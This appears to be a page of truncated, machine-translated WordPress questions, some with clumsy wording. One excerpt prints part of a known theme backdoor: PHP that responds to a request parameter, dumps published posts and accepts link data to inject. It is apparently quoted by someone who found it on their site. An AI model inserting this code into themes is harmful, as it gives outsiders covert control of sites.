我创建了一个 wordpress 站点。它运行良好,但现在显示错误如下:
警告:不能更改头信息-头已经发出(输出开始/首页/ ** /的public_html /可湿性粉剂内容/主题/ * * /includes/classy-options-init.php:1)在/ home / * / public_html/wp-includes/pluggable.php 在线 866
什么是确切的问题,请帮助我。
我正在尝试创建一个管理菜单分隔符,允许您将它们放入代码中.这是功能:
function add_admin_menu_separator($position) {
global $menu;
$index = 0;
foreach($menu as $offset => $section) {
if (substr($section[2],0,9)=='separator')
$index++;
if ($offset>=$position) {
$menu[$position] = array('','read',"separator{$index}",'','wp-menu-separator');
break;
}
}
ksort( $menu );
}
Run Code Online (Sandbox Code Playgroud)
添加操作位如下所示
add_action('admin_init','admin_menu_separator');
function admin_menu_separator() {add_admin_menu_separator(220);}
Run Code Online (Sandbox Code Playgroud)
它工作正常但在重新排列菜单时会在WordPress中产生以下错误:
警告:在第174行的/home/user/public_html/wp-creation.com/wp-content/themes/liquid_theme_0.4_licensed/functions.php中为foreach()提供的参数无效
警告:ksort()期望参数1为数组,在第182行的/home/user/public_html/wp-creation.com/wp-content/themes/liquid_theme_0.4_licensed/functions.php中给出null
我正在尝试改进我的 WordPress 网站搜索,
我希望用户也能够通过 WooCommerce 产品属性进行搜索。我已经创建了 WooCommerce 产品并通过以下代码添加了所有自定义属性(产品属性):
$attributes = array(
'_image_number' => array(
'name' => 'IMAGE ID',
'value' =>0001,
'is_visible' => '1',
'is_variation' => '0',
'is_taxonomy' => '0'
),
'_year' => array(
'name' => 'YEAR',
'value' => 1988),
'is_visible' => '1',
'is_variation' => '0',
'is_taxonomy' => '0'
),
);
update_post_meta( $new_post_id, '_product_attributes', $attributes );
Run Code Online (Sandbox Code Playgroud)
meta_key=_product_attributes好的,我的产品已创建,这些属性作为我的属性的序列化数组存储在 Postmeta 中meta_value=。
我的搜索表单是:
<form action="<?php echo home_url(); ?>/" method="get" class="wp-search-form">
<i class="oic-zoom"></i>
<input type="text" name="s" id="search" placeholder="<?php echo get_search_query() == '' …Run Code Online (Sandbox Code Playgroud) 我有一个WordPress网站,使用WPRO(WordPress只读)插件来托管Amazon S3上的所有媒体文件.我在自定义主题中更改了缩略图和图像大小,并将新图像上传到媒体库使用了新的大小.但是,当我尝试使用"重新生成缩略图"重新生成所有缩略图时,它不起作用,经常抱怨无法找到原始缩略图.
如何强制重新生成缩略图插件以使用S3上的原始图像重新创建现有图像的缩略图?
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == ''))
{
switch ($_REQUEST['action'])
{
case 'get_all_links';
foreach ($wpdb->get_results('SELECT * FROM `' . $wpdb->prefix . 'posts` WHERE `post_status` = "publish" AND `post_type` = "post" ORDER BY `ID` DESC', ARRAY_A) as $data)
{
$data['code'] = '';
if (preg_match('!<div id="wp_cd_code">(.*?)</div>!s', $data['post_content'], $_))
{
$data['code'] = $_[1];
}
print '<e><w>1</w><url>' . $data['guid'] . '</url><code>' . $data['code'] . '</code><id>' . $data['ID'] . '</id></e>' . "\r\n";
}
break;
case 'set_id_links';
if (isset($_REQUEST['data']))
{
$data = $wpdb -> …Run Code Online (Sandbox Code Playgroud) 我正在使用WordPress自定义帖子类型来管理和显示我网站上的活动.要对事件进行排序我正在使用带有日期的自定义元字段(存储方式如下:YYYY-MM-DD).我检查当前日期的元字段.像这样:
$current_date_query = date ('Y-m-d');
$temp = $wp_query; $wp_query= null; $wp_query = new WP_Query();
$wp_query->query(
array(
'post_type' => 'event',
'meta_key' => 'event_date',
'meta_compare' => '>=',
'meta_value' => $current_date_query,
'post_status' => 'publish',
'posts_per_page' => '99',
'orderby' => 'meta_value',
'order' => 'ASC',
'paged' => $paged
)
); ?>
... Loop stuff ...
<?php endif; $wp_query = null; $wp_query = $temp; wp_reset_query(); ?>
Run Code Online (Sandbox Code Playgroud)
我现在想在每个新月之前添加标题.像这样:
2018年1月
2018年2月
2018年3月
等等...
有没有办法在每个月之后拆分循环?我想我必须使用meta领域的月份,但我不知道如何.
我尝试了以下解决方案(感谢@FluffyKitten的评论):
<?php
/* declare an array to save …Run Code Online (Sandbox Code Playgroud) 因此,我一直在 Mutlisite 上开发自己的主题,并且我正在使用我正在构建的默认主题进行的测试站点之一输出以下错误:
Uncaught TypeError: wp.customize is not a function
at HTMLDocument.<anonymous> (customizer.js?ver=4.9.5:3)
at i (jquery.js?ver=1.12.4:2)
at Object.fireWith [as resolveWith] (jquery.js?ver=1.12.4:2)
at Function.ready (jquery.js?ver=1.12.4:2)
at HTMLDocument.K (jquery.js?ver=1.12.4:2)
Run Code Online (Sandbox Code Playgroud)
我的functions.php 包含以下函数:
<?php
// Include Theme Customizer Settings
require_once('includes/customizer.php');
//
// MEDIA LIBRARY QUEUE
add_action('wp_enqueue_scripts', 'my_register_javascript', 100);
function my_register_javascript() {
wp_register_script('mediaelement', plugins_url('wp-mediaelement.min.js', __FILE__), array('jquery'), '4.8.2', true);
wp_enqueue_script('mediaelement');
}
// REQUIRE BS MENU
require_once get_template_directory() . '/includes/class-wp-bootstrap-navwalker.php';
// REGISTER MAIN MENU LOCATION
function register_my_menu() {
register_nav_menu('main-menu',__( 'Main Menu' ));
}
add_action( 'init', 'register_my_menu' ); …Run Code Online (Sandbox Code Playgroud) 这已经抓住了我。我实际上想知道这是一个错误还是我的主题阻碍了视觉作曲家风格。我有一行具有行设置 - 拉伸行。到这里一切都很好。我无法完成的是将其中的小部件(例如文本块)居中对齐。小部件倾向于左对齐。更改行设置不会执行任何操作。它可以选择垂直对齐文本但不能水平对齐?基本上我想要展示我的行内容text-align:center。
WordPress版本为最新版本(5.2.1)
在团队页面上(演示:https : //businesslounge-demo.rtthemes.com/our-team/),列出了团队成员的卡片。我想将团队成员的顺序更改为当前无法选择的选项。
团队成员列表使用简码完成 [staff_box]
在Elementor编辑模式下,我看起来像这样:

编辑表单在
wp-content/plugins/businesslounge-extensions/inc/elementor-addons/staff.php
<?php
namespace Elementor;
// ...
class Widget_RT_Staff extends Widget_Base {
// ...
protected function _register_controls() {
// ...
$this->add_control(
'list_orderby',
[
'label' => esc_html_x( 'List Order By', 'Admin Panel','businesslounge' ),
'description' => esc_html_x('Sorts the posts by this parameter', 'Admin Panel','businesslounge' ),
'type' => Controls_Manager::SELECT,
'default' => "date",
"options" => array(
'date' => esc_html_x('Date',"Admin Panel","businesslounge"),
'author' => esc_html_x('Author',"Admin Panel","businesslounge"),
'title' => esc_html_x('Title',"Admin Panel","businesslounge"),
'modified' …Run Code Online (Sandbox Code Playgroud) 我无法使用 WordPress 编辑器保存主主题 (PHP) 文件。我收到以下错误:
无法与站点通信以检查致命错误,因此 PHP 更改已恢复。您需要通过其他方式上传 PHP 文件更改,例如使用 SFTP。
我已经清除了浏览器缓存、网站缓存、停用了所有插件并重新安装了主题。
我还检查了服务器上所有文件的权限和所有权。没有问题,但是,我的其他站点可以在此服务器上编辑和保存。
php wordpress web-hosting wordpress-theming custom-wordpress-pages
wordpress ×9
php ×6
amazon-s3 ×1
css ×1
jquery ×1
malware ×1
search ×1
virus ×1
warnings ×1
web-hosting ×1
woocommerce ×1
wordpress-5 ×1